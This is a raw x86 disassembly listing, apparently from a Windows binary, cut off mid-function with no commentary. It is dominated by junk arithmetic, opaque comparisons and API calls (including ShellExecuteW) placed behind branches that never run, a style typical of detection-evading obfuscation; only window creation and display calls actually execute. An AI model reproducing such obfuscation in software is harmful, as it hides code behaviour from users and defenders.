mov dword [ebp + eax - 0x3158], 0
jmp 0x482b74
jmp 0x482b0d
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4e0]
mov dword [ebp + eax - 0x2b34], ecx
mov dword [ebp - 0x94], 8
mov dword [ebp - 0x10c8], 0x33c7d24b
mov dword [ebp - 0x894], 0
jmp 0x482c41
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 4
jge 0x482c5d
mov eax, dword [ebp - 0x894]
mov dword [ebp + eax*4 - 0x3414], 0
jmp 0x482c34
cmp dword [ebp - 0x94], 0
je 0x482c9a
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x94], eax
jl 0x482c80
mov dword [ebp - 0x10a8], 1
jmp 0x482c87
and dword [ebp - 0x10a8], 0
mov eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0x10a8]
cmp dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x94], eax
jge 0x482cb4
mov dword [ebp - 0x10b0], 1
jmp 0x482cbb
and dword [ebp - 0x10b0], 0
cmp dword [ebp - 0x10b0], 0x6373
jne 0x482cd3
mov dword [ebp - 0x10b8], 1
jmp 0x482cda
and dword [ebp - 0x10b8], 0
cmp dword [ebp - 0x10b8], 1
jge 0x482cef
mov dword [ebp - 0x10c0], 1
jmp 0x482cf6
and dword [ebp - 0x10c0], 0
mov eax, dword [ebp - 0x94]
add eax, dword [ebp - 0x10c0]
cmp eax, dword [ebp - 0x94]
jle 0x482d16
mov dword [ebp - 0x2314], 1
jmp 0x482d1d
and dword [ebp - 0x2314], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2e20], eax
mov dword [ebp - 0x10c8], 2
cmp dword [ebp - 0x10c8], 0
jne 0x482d48
mov dword [ebp - 0x10d0], 1
jmp 0x482d4f
and dword [ebp - 0x10d0], 0
cmp dword [ebp - 0x10d0], 1
je 0x482d64
mov dword [ebp - 0x10d8], 1
jmp 0x482d6b
and dword [ebp - 0x10d8], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x10d8], eax
jle 0x482d85
mov dword [ebp - 0x10e0], 1
jmp 0x482d8c
and dword [ebp - 0x10e0], 0
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x10e0]
jne 0x482da6
mov dword [ebp - 0x10e8], 1
jmp 0x482dad
and dword [ebp - 0x10e8], 0
mov eax, dword [ebp - 0x10e8]
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x3f6], 0
movzx eax, byte [ebp - 0x3f6]
test eax, eax
je 0x482de1
push 0
push 0
push 0x2075
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x4e0], 0
jmp 0x482dfa
cmp dword [ebp - 0x4e0], 1
jg 0x4875e6
mov dword [ebp - 0x7f0], 0xba095a97
mov dword [ebp - 0x5b0], 0xb95
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x144], 0x4df7b146
mov dword [ebp - 0x9c8], 5
mov dword [ebp - 0x2134], 0xc04840c2
mov dword [ebp - 0x213c], 0x4560
mov dword [ebp - 0x13c], 0
jmp 0x482e66
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 3
jge 0x482e82
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0xb24], 0x23aaf5bf
jmp 0x482e59
mov dword [ebp - 0x13c], 0
jmp 0x482e9b
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 4
jge 0x482eb7
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x3064], 0x67d
jmp 0x482e8e
mov eax, dword [ebp - 0x7f0]
mov dword [ebp - 0x5b0], eax
mov eax, dword [ebp - 0x5b0]
sub eax, 0x2c41
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xb24]
jle 0x482ee9
mov dword [ebp - 0x10f0], 1
jmp 0x482ef0
and dword [ebp - 0x10f0], 0
mov eax, dword [ebp - 0x10f0]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xb24]
jle 0x482f1e
mov dword [ebp - 0x10f8], 1
jmp 0x482f25
and dword [ebp - 0x10f8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb24]
cmp dword [ebp - 0x10f8], eax
jle 0x482f45
mov dword [ebp - 0x212c], 1
jmp 0x482f4c
and dword [ebp - 0x212c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb24]
mov dword [ebp - 0x2a58], eax
mov eax, dword [ebp - 0x7f0]
mov dword [ebp - 0x2ea4], eax
cmp dword [ebp - 0x7f0], 0x1eb64d0
jle 0x482f83
mov dword [ebp - 0x1100], 1
jmp 0x482f8a
and dword [ebp - 0x1100], 0
mov eax, dword [ebp - 0x1100]
mov dword [ebp - 0x144], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xb24]
cmp dword [ebp + eax - 0xb24], ecx
jl 0x482fbe
mov dword [ebp - 0x1108], 1
jmp 0x482fc5
and dword [ebp - 0x1108], 0
mov eax, dword [ebp - 0x5b0]
cmp dword [ebp - 0x1108], eax
jne 0x482fdf
mov dword [ebp - 0x1110], 1
jmp 0x482fe6
and dword [ebp - 0x1110], 0
cmp dword [ebp - 0x1110], 1
jb 0x482ffb
mov dword [ebp - 0x24b8], 1
jmp 0x483002
and dword [ebp - 0x24b8], 0
mov eax, dword [ebp - 0x9c8]
mov dword [ebp - 0x2a60], eax
imul eax, dword [ebp - 0x5b0], 0x1cd4
test eax, eax
je 0x48302d
or eax, 0xffffffff
je 0x48302d
mov dword [ebp - 0x1118], 1
jmp 0x483034
and dword [ebp - 0x1118], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb24]
add eax, dword [ebp - 0x1118]
cmp dword [ebp - 0x7f0], eax
jne 0x48305b
mov dword [ebp - 0x1120], 1
jmp 0x483062
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0x2134]
cmp dword [ebp - 0x1120], eax
jle 0x483082
cmp dword [ebp - 0x9c8], 0
jne 0x483082
and dword [ebp - 0x1128], 0
jmp 0x48308c
mov dword [ebp - 0x1128], 1
mov dword [ebp - 0x144], 0xffffffff
mov eax, dword [ebp - 0x144]
sub eax, dword [ebp - 0x1128]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x3064]
cmp eax, 1
jne 0x4830c9
cmp dword [ebp - 0x9c8], 0
je 0x4830c9
mov dword [ebp - 0x21c8], 1
jmp 0x4830d0
and dword [ebp - 0x21c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb24]
cmp dword [ebp - 0x3ac], eax
je 0x4830f1
mov dword [ebp - 0x1130], 1
jmp 0x4830f8
and dword [ebp - 0x1130], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3064]
cmp dword [ebp - 0x1130], eax
jg 0x483119
mov dword [ebp - 0x1138], 1
jmp 0x483120
and dword [ebp - 0x1138], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1138]
sub ecx, dword [ebp + eax - 0xb24]
cmp ecx, dword [ebp - 0x213c]
jge 0x4831ce
mov dword [ebp - 0x620], 3
mov dword [ebp - 0x2000], 0x1bd97a8
mov dword [ebp - 0x620], 0xb
jmp 0x487613
mov eax, dword [ebp - 0x620]
dec eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0xfffffffd
jl 0x487654
mov dword [ebp - 0x2000], 0
mov byte [ebp - 0x3de], 0
movzx eax, byte [ebp - 0x3de]
test eax, eax
je 0x487652
push 0x12cd
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x487606
call fcn.0047397a
mov dword [ebp - 0x4c], 0xba339924
mov dword [ebp - 0x1e4], 0xfffffff9
mov dword [ebp - 0x1828], 0x254f8d36
mov dword [ebp - 0x2018], 0xadbefc71
mov dword [ebp - 0x2764], 0xfffffffb
mov dword [ebp - 0x276c], 0xb341
mov dword [ebp - 0x44], 0
jmp 0x4876a2
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x4876b8
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x32a0], 0x26ae69ed
jmp 0x48769b
mov dword [ebp - 0x44], 0
jmp 0x4876c8
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x4876de
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x32b0], 0xe85dc32c
jmp 0x4876c1
mov dword [ebp - 0x44], 0
jmp 0x4876ee
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x487704
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x2dbc], 0xf459cadf
jmp 0x4876e7
mov eax, dword [ebp - 0x1e4]
add eax, 7
cmp eax, 0xbd52
jne 0x487720
mov dword [ebp - 0x2008], 1
jmp 0x487727
and dword [ebp - 0x2008], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2774], eax
cmp dword [ebp - 0x4c], 0xf738f585
jae 0x487745
mov dword [ebp - 0x17c0], 1
jmp 0x48774c
and dword [ebp - 0x17c0], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x17c0], eax
jg 0x487763
mov dword [ebp - 0x17c8], 1
jmp 0x48776a
and dword [ebp - 0x17c8], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x17c8], eax
jne 0x487784
mov dword [ebp - 0x17d0], 1
jmp 0x48778b
and dword [ebp - 0x17d0], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x17d0], eax
jge 0x4877a5
mov dword [ebp - 0x17d8], 1
jmp 0x4877ac
and dword [ebp - 0x17d8], 0
cmp dword [ebp - 0x17d8], 0x13b2
jg 0x4877cd
cmp dword [ebp - 0x1e4], 0
je 0x4877cd
mov dword [ebp - 0x17e0], 1
jmp 0x4877d4
and dword [ebp - 0x17e0], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x17e0], eax
jle 0x4877eb
mov dword [ebp - 0x17e8], 1
jmp 0x4877f2
and dword [ebp - 0x17e8], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x17e8], eax
je 0x48780c
mov dword [ebp - 0x17f0], 1
jmp 0x487813
and dword [ebp - 0x17f0], 0
mov eax, dword [ebp - 0x1e4]
cmp dword [ebp - 0x17f0], eax
jl 0x48782d
mov dword [ebp - 0x17f8], 1
jmp 0x487834
and dword [ebp - 0x17f8], 0
imul eax, dword [ebp - 0x17f8], 0
cmp eax, dword [ebp - 0x1e4]
je 0x48784f
mov dword [ebp - 0x2a4], 0x17ca4e8
mov dword [ebp - 8], 0
jmp 0x489631
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jge 0x489647
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x21c], 0xfffffffd
jmp 0x48962a
mov dword [ebp - 8], 0
jmp 0x489657
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
jge 0x48966d
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x22b0], 1
jmp 0x489650
mov dword [ebp - 8], 0
jmp 0x48967d
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jge 0x489693
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x20b0], 0x4380d33b
jmp 0x489676
mov dword [ebp - 8], 0
jmp 0x4896a3
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jge 0x4896b9
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x20c8], 0xfffb
jmp 0x48969c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21c], 0
je 0x489882
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21c]
mov dword [ebp - 0x2894], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21c]
mov dword [ebp - 0x289c], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x20b0], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21c], 1
je 0x489720
mov dword [ebp - 0xb58], 1
jmp 0x489727
and dword [ebp - 0xb58], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21c]
cmp dword [ebp - 0xb58], eax
jne 0x489748
mov dword [ebp - 0xb60], 1
jmp 0x48974f
and dword [ebp - 0xb60], 0
cmp dword [ebp - 0xb60], 0
ja 0x489764
mov dword [ebp - 0xb68], 1
jmp 0x48976b
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0x2a4]
imul eax, dword [ebp - 0xb68]
cmp eax, 0xffffffff
je 0x489789
mov dword [ebp - 0xb70], 1
jmp 0x489790
and dword [ebp - 0xb70], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22b0]
mov dword [ebp - 0x20b8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21c]
imul eax, dword [ebp - 0xb70]
imul eax, eax, 0
mov dword [ebp - 0x20c0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22b0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x22b0], eax
mov eax, dword [ebp - 0x20b8]
cmp eax, dword [ebp - 0x20c0]
jl 0x4897f5
mov dword [ebp - 0xb78], 1
jmp 0x4897fc
and dword [ebp - 0xb78], 0
cmp dword [ebp - 0xb78], 0
je 0x48981a
cmp dword [ebp - 0x2a4], 0
je 0x48981a
mov dword [ebp - 0xb80], 1
jmp 0x489821
and dword [ebp - 0xb80], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21c]
cmp dword [ebp - 0xb80], eax
jge 0x489842
mov dword [ebp - 0xb88], 1
jmp 0x489849
and dword [ebp - 0xb88], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xb88], eax
je 0x489863
mov dword [ebp - 0xb90], 1
jmp 0x48986a
and dword [ebp - 0xb90], 0
cmp dword [ebp - 0xb90], 0x769e8a28
jle 0x489882
mov dword [ebp - 0xb98], 1
jmp 0x489889
and dword [ebp - 0xb98], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb98]
mov dword [ebp + eax - 0x21c], ecx
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x28a4], eax
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x28ac], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2a4]
cmp dword [ebp + eax - 0x21c], ecx
je 0x4898d5
mov dword [ebp - 0xba0], 1
jmp 0x4898dc
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xba0], eax
jge 0x4898f6
mov dword [ebp - 0xba8], 1
jmp 0x4898fd
and dword [ebp - 0xba8], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xba8], eax
jg 0x489917
mov dword [ebp - 0xbb0], 1
jmp 0x48991e
and dword [ebp - 0xbb0], 0
cmp dword [ebp - 0xbb0], 0xa053
jle 0x489936
mov dword [ebp - 0xbb8], 1
jmp 0x48993d
and dword [ebp - 0xbb8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbb8]
mov dword [ebp + eax - 0x20c8], ecx
xor ecx, ecx
call fcn.0044eb24
push eax
call fcn.0048e782
pop ecx
mov dword [ebp - 0x224], 0
jmp 0x489977
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 4
jge 0x489993
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0x3298], 0x10c9
jmp 0x48996a
mov dword [ebp - 0x224], 0
jmp 0x4899ac
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 1
jge 0x4899c8
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0x558], 0x2ba39464
jmp 0x48999f
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x558], 0
jmp 0x4899f6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x558]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x558], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x558], 3
jg 0x489aab
mov byte [ebp - 0x3e5], 0
movzx eax, byte [ebp - 0x3e5]
test eax, eax
je 0x489a27
push 0xa91
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x558]
mov eax, dword [ebp + eax*4 - 0x3298]
neg eax
je 0x489a87
mov dword [ebp - 0x688], 0
jmp 0x489a58
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 3
jge 0x489a74
mov eax, dword [ebp - 0x688]
mov dword [ebp + eax*4 - 0x31e8], 0x1551da62
jmp 0x489a4b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x31e8], 0x4ebb0cb8
jmp 0x489aa6
mov byte [ebp - 0x365], 0
movzx eax, byte [ebp - 0x365]
test eax, eax
je 0x489aa6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
jmp 0x4899db
mov dword [ebp - 0x698], 0xfffffffb
mov dword [ebp - 0x20d0], 0x5efa
mov dword [ebp - 0x690], 0
jmp 0x489ad8
mov eax, dword [ebp - 0x690]
inc eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 3
jge 0x489af4
mov eax, dword [ebp - 0x690]
mov dword [ebp + eax*4 - 0x3200], 0
jmp 0x489acb
mov dword [ebp - 0x698], 0xffffffe7
jmp 0x489b0d
mov eax, dword [ebp - 0x698]
inc eax
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 0x1d
je 0x489b61
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x560], 0
jmp 0x489b39
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 3
jge 0x489b55
mov eax, dword [ebp - 0x560]
mov dword [ebp + eax*4 - 0x3200], 0x7a888ada
jmp 0x489b2c
mov dword [ebp - 0x20d0], 0x690f1d89
jmp 0x489b00
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xab29b0
push 0xab29b0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0x568], 0
mov dword [ebp - 0xbc0], 0xfffffff7
mov dword [ebp - 0x6a0], 0x47cd
mov dword [ebp - 0xaa8], 0
mov dword [ebp - 0xc08], 0xfffffff6
mov dword [ebp - 0x20e8], 0x21589afc
mov dword [ebp - 0x22c], 0
jmp 0x489be9
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 2
jge 0x489c05
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x2644], 0x3672d714
jmp 0x489bdc
mov dword [ebp - 0x22c], 0
jmp 0x489c1e
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 1
jge 0x489c3a
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x118], 1
jmp 0x489c11
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x28b4], eax
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0xbc0], eax
cmp dword [ebp - 0xbc0], 0
je 0x489c6e
push 6
pop eax
test eax, eax
je 0x489c6e
mov dword [ebp - 0xbc8], 1
jmp 0x489c75
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0x568]
cmp eax, dword [ebp - 0xbc8]
jl 0x489c8f
mov dword [ebp - 0xbd0], 1
jmp 0x489c96
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xbd0]
mov dword [ebp - 0x568], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2644]
dec eax
mov dword [ebp - 0xbd8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbd8]
mov dword [ebp + eax - 0x2644], ecx
mov eax, dword [ebp - 0x568]
cmp eax, dword [ebp - 0xbd8]
jl 0x489ce3
mov dword [ebp - 0xbf0], 1
jmp 0x489cea
and dword [ebp - 0xbf0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x118]
mov dword [ebp - 0x28bc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x118]
mov dword [ebp - 0x28c4], eax
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0x28cc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x118]
mov dword [ebp - 0x28d4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x118], 0
jne 0x489d58
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x118], 0
jne 0x489d58
and dword [ebp - 0xbe0], 0
jmp 0x489d62
mov dword [ebp - 0xbe0], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x118]
cmp dword [ebp - 0xbe0], eax
jne 0x489d83
mov dword [ebp - 0xbe8], 1
jmp 0x489d8a
and dword [ebp - 0xbe8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x118]
cmp dword [ebp - 0xbe8], eax
je 0x489dab
mov dword [ebp - 0x20d8], 1
jmp 0x489db2
and dword [ebp - 0x20d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x118]
mov dword [ebp - 0x28dc], eax
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0xbf8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbf8]
mov dword [ebp + eax - 0x118], ecx
mov eax, dword [ebp - 0xbf0]
cmp eax, dword [ebp - 0xbf8]
jge 0x489dfe
mov dword [ebp - 0xc00], 1
jmp 0x489e05
and dword [ebp - 0xc00], 0
mov eax, dword [ebp - 0xc00]
sub eax, dword [ebp - 0xaa8]
sub eax, dword [ebp - 0x6a0]
cmp eax, dword [ebp - 0xaa8]
jne 0x489e2b
mov dword [ebp - 0x20e0], 1
jmp 0x489e32
and dword [ebp - 0x20e0], 0
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0x28e4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x118]
mov dword [ebp - 0x28ec], eax
mov dword [ebp - 0xc08], 1
mov eax, dword [ebp - 0xc08]
mov dword [ebp - 0x28f4], eax
mov eax, dword [ebp - 0xaa8]
mov dword [ebp - 0x28fc], eax
mov dword [ebp - 0x20e8], 0xaedf47f2
push 5
push dword [ebp - 0xab0]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0xc10], 0xa0d018d3
mov dword [ebp - 0x20f8], 9
mov dword [ebp - 0x6a8], 0
jmp 0x489ebf
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 3
jge 0x489edb
mov eax, dword [ebp - 0x6a8]
mov dword [ebp + eax*4 - 0x2dfc], 0x8039d6b9
jmp 0x489eb2
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2904], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc10], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc18], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc18]
mov dword [ebp + eax - 0x2dfc], ecx
mov eax, dword [ebp - 0xc10]
cmp eax, dword [ebp - 0xc18]
jne 0x489f23
mov dword [ebp - 0x20f0], 1
jmp 0x489f2a
and dword [ebp - 0x20f0], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x290c], eax
mov eax, dword [ebp - 0x2c]
add eax, 6
imul eax, dword [ebp - 0x2c]
cmp eax, 0xa6c8
jl 0x489f50
mov dword [ebp - 0xc20], 1
jmp 0x489f57
and dword [ebp - 0xc20], 0
mov eax, dword [ebp - 0xc20]
sub eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jl 0x489f71
mov dword [ebp - 0xc28], 1
jmp 0x489f78
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xc28], eax
je 0x489fa4
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2dfc], 0
jne 0x489fa4
mov eax, 0xbec5ec62
test eax, eax
jne 0x489fa4
and dword [ebp - 0xc30], 0
jmp 0x489fae
mov dword [ebp - 0xc30], 1
mov eax, dword [ebp - 0x20f8]
imul eax, dword [ebp - 0xc30]
imul eax, eax, 0
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0
jmp 0x489fd4
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffffb
je 0x489ff9
mov byte [ebp - 0x3e7], 0
movzx eax, byte [ebp - 0x3e7]
test eax, eax
je 0x489ff7
push 0x1fbe
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
jmp 0x489fcd
push dword [ebp - 0xab0]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [ebp - 0x78], 0xba339924
mov dword [ebp - 0x234], 0xfffffff9
mov dword [ebp - 0xca0], 0x254f8d36
mov dword [ebp - 0x2110], 0xadbefc71
mov dword [ebp - 0x2914], 0xfffffffb
mov dword [ebp - 0x291c], 0xb341
mov dword [ebp - 0x54], 0
jmp 0x48a04e
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x48a064
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x32c0], 0x26ae69ed
jmp 0x48a047
mov dword [ebp - 0x54], 0
jmp 0x48a074
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x48a08a
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x32d0], 0xe85dc32c
jmp 0x48a06d
mov dword [ebp - 0x54], 0
jmp 0x48a09a
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x48a0b0
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x2e0c], 0xf459cadf
jmp 0x48a093
mov eax, dword [ebp - 0x234]
add eax, 7
cmp eax, 0xbd52
jne 0x48a0cc
mov dword [ebp - 0x2100], 1
jmp 0x48a0d3
and dword [ebp - 0x2100], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x2924], eax
cmp dword [ebp - 0x78], 0xf738f585
jae 0x48a0f1
mov dword [ebp - 0xc38], 1
jmp 0x48a0f8
and dword [ebp - 0xc38], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xc38], eax
jg 0x48a10f
mov dword [ebp - 0xc40], 1
jmp 0x48a116
and dword [ebp - 0xc40], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0xc40], eax
jne 0x48a130
mov dword [ebp - 0xc48], 1
jmp 0x48a137
and dword [ebp - 0xc48], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0xc48], eax
jge 0x48a151
mov dword [ebp - 0xc50], 1
jmp 0x48a158
and dword [ebp - 0xc50], 0
cmp dword [ebp - 0xc50], 0x13b2
jg 0x48a179
cmp dword [ebp - 0x234], 0
je 0x48a179
mov dword [ebp - 0xc58], 1
jmp 0x48a180
and dword [ebp - 0xc58], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xc58], eax
jle 0x48a197
mov dword [ebp - 0xc60], 1
jmp 0x48a19e
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0xc60], eax
je 0x48a1b8
mov dword [ebp - 0xc68], 1
jmp 0x48a1bf
and dword [ebp - 0xc68], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0xc68], eax
jl 0x48a1d9
mov dword [ebp - 0xc70], 1
jmp 0x48a1e0
and dword [ebp - 0xc70], 0
imul eax, dword [ebp - 0xc70], 0
cmp eax, dword [ebp - 0x234]
je 0x48a1fb
mov dword [ebp - 0xc78], 1
jmp 0x48a202
and dword [ebp - 0xc78], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xc78], eax
jl 0x48a219
mov dword [ebp - 0xc80], 1
